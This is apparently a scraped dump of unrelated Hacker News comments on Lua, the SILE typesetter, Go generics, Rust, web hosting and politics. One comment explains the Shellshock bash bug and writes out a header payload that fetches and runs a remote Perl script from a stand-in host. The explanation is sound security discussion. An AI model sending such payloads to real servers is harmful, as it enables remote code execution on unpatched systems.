skysight-inc/HackerNews huggingface dataset:
>>a style that was pretty alien to me.

There is your real problem.

A. C is a beautiful language. I believe a more productive attitude towards any usage of C - as a binding/engine language layer, or whatever - is to assume: there is no one familiar style. (What Lua/src has, is good coding rules compliance..)

B. You control the VM, completely. The Lua language is designed with the VM integrator in mind. Lua frameworks are not something you inherit. So .. Why does global name-spacing versus local definition bother you? Show me your offensive global/local case; in every single case, it can be solved with better design. At the very least, walk _G yourself.

C/D. Its the 21-st Century, 1-based indexing makes sense to most of the non-hacker world, since you can't have a "0-th" box in which to store things in the real world. Except of course you can, you just make one and label it, arbitrarily, the '0' box .. in fact you do have the ability to index everything 0-based yourself in Lua, so have at it. Lua provides the 'one-type to rule all things' type, the Lua table{}, to give you the options you need. Want an array? Use your new_array{} as an array. Want a string-dictionary? Have at it. Need a hash: ditto. Bonus points: understand what you're doing, and get features from the table type; like scatter detection, packing/indexing/ordering operations, and so on. Lua metatables are your friend, not an enemy. Learn to use the table type and you will become a convert.

E. C-side API. You do have to understand the design constraints of the VM. That's about all you have to do. Is that really so weird?
Tetris to be made into a sci-fi film
This is one of two things that I find upsetting about US the most. The fact that you don't call the police when you need it, and also(and more importantly) that a lot of people wouldn't call an ambulance unless they were literally dying. It's stupid, and I cannot even fathom not having friendly police or worrying about the bill for an ambulance.
I'm not suggesting Atlantic are doing this, but back in the days when shared hosting was more popular and hosts more predatory, it was common to see hosts offer deals like paying $99 for a year of hosting, they'd give that straight to the affiliate who referred the sale, they'd put the prices up 2-3x in year two, and enough people would stick around to make it all pay off.

Such a strategy could work even better with a VPS since it's harder to migrate away due to the more complex things people tend to do with them.
It does however spell out the right conclusion: a) it doesn't have to be a replacement and b) configuration vs code.

Btw there's also brunch (http://brunch.io) that you might want to check out. That one really does need only minimal configuration.

I wrote an article about all three not too long ago: http://blog.toggl.com/2014/03/grunt-vs-gulp-vs-brunch/
Isn't reddit already a re-write of slashdot and digg and so on .. and on it goes?

Me, I see no difference between reddit now, and USENET of the 80's/90's. Except that reddit isn't distributed, by nature, but rather .. empirical ..

I still use USENET. Its a quite place now the kids have all grown up and left the basements...
If you launch your hackathon project and never touch it again, then maybe...

But I think a better way to frame it is that hackathons promote streamlined MVPs which must be iterated-on and refactored at a later date to be sustainable projects. Some would argue that this is a fine business model, inside or outside of a hackathon setting.
Street View Treks: Pyramids of Giza
I don't know, but I'm guessing the manual[1] is created with SILE?

[1] https://raw.githubusercontent.com/simoncozens/sile/master/do...
How would you rate their support? Are they good with fixing issues or are there fewer issues than the other hosts you use? Would you recommend them for a site with, say 100K visitors per day?
I imagine that's a google translation failure. Probably means something like you're a lvl31 spotter/spier
Your last paragraph is the most interesting thing I've read on this thread.

Maybe I'm just being a suspicious cynic, but do you think there could be value in a business trying to qualify for as many IP addresses as possible in the short term so that they could be capitalized on when/if the final IP address crunch occurs?
Thanks for the great advice. The thing is that I did get a positive responds on my first email saying that they wanted to send me a NDA en my email really got them thinking.

They also suggested a Skype meeting.

After this I send 2 emails without any reply. I'm going to wait for the weekend and then try contacting them again.
I'm sorry. In all honesty, I have no idea how generics are currently implemented in Go. If you know, I'd kindly ask you to explain why you think the current implementation could not be extended to user-defined types.

> Generics aren't free. You will always pay for it in terms of some combination of implementation complexity, runtime performance and compiler performance.

I don't argue about implementation complexity and compiler performance, I'm just saying that I assume that most that complexity is already present in the Go compiler.

However, I think that saying that generics have runtime performance cost is disingenuous. It's like saying that functions aren't free. Now, obviously it's possible to program without function by using loops, gotos or inlining code. However, if you want to make your program more abstract, you'll end up implementing functions, along with calling conventions, register saving, varargs, ... It's easier if the compiler does that for you (also, sometimes the compiler will compile functions into loops, gotos or inlined code, reducing the performance penalty).

It's the same with generics. If you have an algorithm that you want to use with different data types, you can either (1) implement it multiple times, or (2) manually box and unbox all values. That's exactly what the compiler can do for you if you write the code using generics. The fact that most compilers use just one of these strategies is not a deficiency of generics, but the deficiency of compilers. Both Scala and .Net use both specialization and boxing. Therefore, in all honesty, I really see no additional runtime cost to generics that wouldn't be present in equivalent non-generic code.
Something Is Rotten in the Secret Service
NASA images reveal shocking scale of Aral Sea disaster
I found a lot of examples in the full manual here: https://raw.githubusercontent.com/simoncozens/sile/master/do...

The syntax is very similar to LaTeX, but it's more modern in that it has native support for fonts and images, and uses Lua as its scripting language.
Yes definitely. Remember that many (not all, but many) VCs see themselves as investing in the person, not necessarily the idea. So it'd follow that they'd like to get to know you as thoroughly as they can.
The Boring Front End Developer
That's what I said to them when they suggested to send me a NDA. I don't really believe in NDA's.
> I've no idea where you got the idea that the rest of Japan is undeveloped. Perhaps you should pay a visit to Osaka.

Haha, I live next to Osaka. But you're gonna tell me I dont know the place where I live, I guess?

I won't go into the debate about stimulus BS, because that's another entire topic, but as a side note Japan has been doing Keynesian stimulus for like 20 years with no effect whatsoever on the economy, so yeah, great proof of concept.
That was 2011, has the number changed since then? (I had a jailbroken phone back then but not now)
Best reply yet ;).
https://github.com/simoncozens/sile/tree/master/examples
I think the issue of setting false incentives is enough to kill this idea off very quickly.
Funnily, one of the main reasons I switched to Linux was because writing Python on Windows was like hell. I couldn't get pip installed, and packages were an absolute pain to install.
Awesome, thanks for sharing! A look at a sample issue would be neat though. Right now, I have no clue what exactly will be in the emails.
Reddit raises $50m in funding round, plans to share some of it with its users
I have looked at the PDF manual linked to from the homepage. If that PDF is produced bye Sile itself, I'm not impressed because the rendered text looks crowded. Perhaps the choice of the font is at fault, perhaps the engine lacks TeX's font kerning, perhaps.. Whatever the reason, the output is IMO ugly.
Perhaps it was a little too strong, apologies. I've just had this conversation far too many times and much of the opposition to unionisation is of the ridiculously simplistic 'why don't you just leave and find a different job?' kind.
They've put together a blog post with a bunch of features, including the fact you can solve LPs in google doc spreadsheets http://googledevelopers.blogspot.com.au/2014/09/sudoku-linea...
I've worked in the US and France so can speak about both. In France I can self-certify that I am sick and quarantine myself at home. I can call a doctor to make a homecall and the pharmacy will deliver my meds on request.

In the US I've had colleagues that were told to go home. Even with overwhelming evidence that they should not be at work they came anyway. Unfortunately, some could not afford to be sick. Rather than take the personal financial hit they caused the entire operation to slow/stop as other workers called in sick.

Unfortunately social etiquette in the US means to show you are productive even with sickness. "See how productive I am, I've got the flu and I'm still doing this presentation!"
Bash Minesweeper
From the PDF manual file[0] it is at glance almost similar to Latex.

\begin[papersize=a4]{document}
\chapter{Hi there}
Hello world

\include[src=chapter2]
\end{document}

Unfortunately, the power of Latex for maths display and vectorized graphs are completely absent. It also states image handling is still rudimentarily available (only PNG files, for example). I also am not really impressed by the type setting from the PDF, but this might be due to its focus on the engine and not the aesthetics of the typesetting (which will hopefully addressed soon to convince Tex users!).

Personally I don't "program" in Tex, I only write. The benefits with regard to (La)Tex therefore seems minor to me. However, if you program in Tex (like, designing templates perhaps?) I can understand you don't want to fool around with an ancient system like Tex and SILE can be an excellent alternative. The source is on Github [1], so everyone can contribute!

[0] https://raw.githubusercontent.com/simoncozens/sile/master/do...
[1] https://github.com/simoncozens/sile

PS. Because the author writes SILE, not sile or Sile; is SILE an acronym?
That's a good question. I think F# and Haskell have stolen a fair amount of OCaml's thunder. Meanwhile, Rust caters to everybody who is tired of C/C++ (putting D in the same position as OCaml, I guess?), while having nice enough constructs that people coming from high-level languages get interested in it. By contrast, OCaml doesn't have the "shiny new" feeling of Rust (also suffers from other issues, such as its standard library/libraries, and the tooling, and the "mlis are documentation" attitude that is fairly prevalent in the community). I'd say with more polish and a lot of marketing, it could easily gain more market share (even though some things have gotten much better since opam).

Sometimes, working in OCaml feels like flying a starship equipped with XVIIIth century cannons. The awesomeness of many of its features is in stark contrast to the gaping holes of its ecosystem (no good INI parsing library in 2014? no usable pure OCaml regexp library?).
Thanks for the pointer, I'll include it soon!
A simple example of how to turn a problem into a long lasting solution, love the creativity.
Arguably that is either wrong or depends on taste.

Haskell has very little syntax in comparison to something like C or Python and what little is has is very obvious.

I'd much prefer ML/Haskell-ish syntax in Rust, but I know I'm in a minority.
It doesn't, yet; TeX is very good at that, so if that's a need you have, stick with TeX. I'm not trying to corner the whole typesetting market!

However, it shouldn't be difficult (especially now that MathJax is in Javascript, a language not a million miles away from Lua) to add support for maths typesetting. Patches welcome!
Yes, it will, because:

- Apache will create an environment variable for every HTTP header that you pass to it. So if you set the User-Agent header to "() {:;}; wget http://example.com/evil.pl -O - | perl" Apache will set HTTP_USER_AGENT variable to that specific value

- Any call to popen() will spawn a shell. If it is a bash shell (very common) it will scan all environment variables, and when it does find "() {:;}; ..." it just happily executes that because of the bug.

So in reality only two things have to be true for this attack to be possible:

- you have a vulnerable shell on your server (unpatched bash)

- your backend code (let it be PHP or anything else, really) at some point spawns a shell to do some stuff (which isn't quite uncommon, many websites use some kind of processing of data they receive with external programs, or call sockets, or do other crazy stuff).
Generally the wrapper isn't the bit you're worried about, rather the speed and abilities of the underlying solver implementation is the factor you care about most. We use PuLP for our projects as it is compatible with most LP/MIP solvers giving us the ability to code the formulation once then run on a variety of solvers.

I would expect Glop support will be added to PuLP given some time.
Very cool, but the sad part is that unlike most modern desktop systems, on mobile OS's all languages and runtimes other that the ones officially endorsed by the OS maker are probably a pain to use and deploy.

Its sad that you have to jailbreak to use the full capabilities of your own device.
Why are you assuming I am referring to anything? I simply said I don't completely understand the parent comment and would like some examples. Maybe you intended to respond to another comment?
> This is possibly the most hated guy on Reddit right now.

Which I find strange, since he actually delivered very high quality content and was overall a boon to the community.
It looks like Photoshop at a glance, but doesn't really behave like Photoshop once you get close.
Great project, used with great success to automate testing of legacy app across multiple virtual machines.
Reddit Raises $50M, Plans New Cryptocurrency to Reward Users
LuaTeX gives you hooks into the TeX system to customise certain aspects of the program's behaviour. But you can't customise the core TeX algorithms. Because the whole of SILE is written in Lua, you can replace any of the core components.

For instance, grid typesetting is a known difficult problem in TeX and its derivatives, but it's very easy in SILE because you just change the way vboxes are added to the vertical list; it's about 30 lines of code.

The frames support is pretty compelling for me as well, and will be even more so as soon as balanced frames are finished.
In the discussion's context, "generic" is about parameterized types (type-safe collections), not about working on any object.
This isn't designed for people who don't know TeX, although of course they're welcome to use it. It was designed to solve particular typesetting problems (which came up primarily in the context of typesetting Bibles, parallel texts, and especially in non-Latin alphabets) which were difficult to achieve in TeX.
> There is a shortage of good developers almost everywhere.

Most organisations don't required 'good' developers. They require 'good enough' developers. If a business can save some money by paying people less, they will.

> If you don't like your job get another one.

Actually, I love my job - but this is a ridiculous argument to make. If it was that easy, why would anybody stay in a job they didn't like? Life's not that simple.

> If you're a good developer you won't have a problem finding one, and your employer will probably learn that you are not easily interchangeable.

So your solution to poor working conditions is to teach your employer a lesson by giving up and leaving, so they can hire somebody less qualified for less money but who still manages to muddle through and deliver?

The problem with saying that 'there is a shortage of good developers almost everywhere' is that it's completely subjective. What are you classifying as 'good'? Does your employer's definition of 'good' match up with the share-holders definition of 'good value'? This is precisely why developers can be so self-destructive. You may be the best in your domain, but it doesn't necessarily mean that you're the best and most profitable option for an employer.
The manual shows about 80 characters per line. It should be around 66 for optimal readability.

One of the things I like about LaTeX is that you don't have to know about this stuff, and since it's not entirely trivial to change the page margins it's really hard for a novice to make such a mistake.
Eh, most managers are like you. And you know what? That's why I can pretty consistently hire very capable people at dramatically below market rates.

The way I see it, if you are the more emotionally capable team member, well, sometimes it makes sense to put a little bit of that emotional capability into helping your more mentally capable team members deal with the team and be productive.

I'm not saying I'm more emotionally capable than average; By those tests, I'm probably not. But I do seem to be pretty good at interacting with people that are generally thought to have low emotional intelligence, and that's probably what you want for a manager of Engineers.

See, the fact that I'm pretty good when dealing with "low-eq" types but generally much less good when dealing with "high-eq" types (and further, that I tend to make friends with foreigners faster than other Americans in work situations) indicates to me that emotional intelligence is a relative sort of thing. A person who is good at dealing with one type of person or one culture may be less good at dealing with another.
If I could downvote you, I would.
The nature of exploitation is that the exploited often do not recognise that they are being exploited. Being exploited introduces so many other problems into your life that it becomes incredibly difficult to identify the root cause and do something about it.
Code your way into a job
A better (non-wooden) translation would be:

Your ID results, you are [Color Wolf Level 31]! Do you want you let your friends know about this?
Seguridad en Tiempos de Internet de las Cosas
In the “Letters” section, page 32, Stephen Hain of the MIT Logo laboratory writes about how his implementation of the Logo programming language for the Apple computer which he was writing at MIT, with the initial understanding that it would be placed in the public domain, has been shelved indefinitely by MIT, withheld from the public. Why? Because Texas Instruments sells a version of Logo which was not as good, (for its TI-99/4 computer), and Texas Instruments essentially influenced MIT to scrap the program instead of releasing it in any form.

It is 1981; it will be a few years still before Richard Stallman quits his job at MIT and starts the GNU project. I wonder if he knew about this.
Just to clarify - the grid layout isn't compulsory; it's an optional package. But it's a good example of a thing which is a hard problem in TeX (http://tex.stackexchange.com/questions/1418/grid-system-in-l...) and an easy one in SILE.
I didn't read this way, but fair enough.
If you ever lose both your login & access to the email address from which you signed up, you will lose everything you host with nearlyfreespeech.

I was trying to help a friend recover his own site after the pre-paid credit expired. A mutual journo friend had set it up years earlier but lost access to an old email address. It was down because the pre-paid credit had expired, but wouldn't even take payment from someone they didn't know to get it back up.

Support wouldn't empathise or even help "in principle", i.e. "Given that we've lost access to the original email address that our friend signed up with, how can we go about recovering this account, give you some money saving the domain"? The answer was essentially: we don't care, you're dead to us.

I run an ISP in the UK that takes backup contact options, so I was trying to go through what options they _might_ have to help, but they weren't interested.

Cheap is good, especially when you're setting up sites for friends, but always think twice about the support you might need years down the line.
It's really silly that they depend on the STL implementations, because I don't believe STL implementations actually implement in-place merges in-place. The actual problem of stable in-place merge is extremely hard, so I was really surprised it would show up in a Dr. Dobbs article.
A similar story is on the front page right now.

https://news.ycombinator.com/item?id=8390136
It's worse than that. As an eye-catching example to lead in, the United States is the only country in the world in which more men are raped than women. The U.S. authorities know this is the case, and they know that they have created lawless societies in which they force people to live, without protection.

You take a man and you spend ten years teaching him that he is beyond the law. That the law does not apply to him. That he can rape someone and the law will look the other way, or that he can be raped and the authorities will offer him no protection, no respite. Theft, robbery, assault, murder. Crimes committed regularly, all around this man, and he sees every day that he can commit these crimes and the law will not apply, he can be a victim of these crimes and the law will not apply. The U.S. teaches a man for a decade that none of the rules apply to him; that he is above the law is demonstrated to him over and over and over again.

And then when he's released, having been taught this day in, day out, brutally, every damn day for a decade, it's a fucking surprise that he commits a crime?
Unwrap only appears in simplistic examples. The correct "unwrap" is the `try!` macro.
Ok, much better. At the risk of looking more like a java try/catch, is it possible to wrap multiple statements in a single try! clause ?

Or at least have some way of saying " if there's any error in this block of code, simply stop execution and forward it to the calling statement"
"Wanted to heat up my GPU to warm a brownie"
I don't see how living near Osaka makes you any the less wrong about calling it undeveloped.

>I won't go into the debate about stimulus BS

That's probably best for you.

Japan has managed to keep its unemployment level pretty low and has had a protracted albeit mild depression over the last 20 years. This is undeniable.

The alternative (no stimulus at all / spiraling self-reinforcing depression) would have resulted in ending up like Greece or Spain. This is also undeniable.

I guess you think 50% youth unemployment vs. 5% counts as "no effect whatsoever"? I would beg to differ.
there is value, but I wouldn't be so cynical.

It's really not that hard to fake the "efficient usage" requirement, if that is really what you were after. If you are going through contortions to legitimately qualify for a block from ARIN rather than just lying, my assumption would be that you are doing so for honor, not money, otherwise you'd take the far more efficient route of lying.
Failing the task isn't the standard way to handle errors; propagating information via the Result type (especially the try! macro) is more conventional, as it allows the caller to handle the problem, failing is very annoying to recover from.

- http://doc.rust-lang.org/nightly/std/result/

- http://doc.rust-lang.org/nightly/std/result/#the-try!-macro
my $realname = '$uname';

They probably meant $uname or at least "$uname" :-)
鑑定結果，你是【色狼lv87】！要不要通知下小伙伴們呢？

also the memory game is nice to train ... well visual memory.

http://game.ioxapp.com/memtest/

You got 168 , look like 30 years old.
CopperCube 5 released
systemd's journal does this:

https://lwn.net/Articles/512895/

But only every ~15 minutes or so.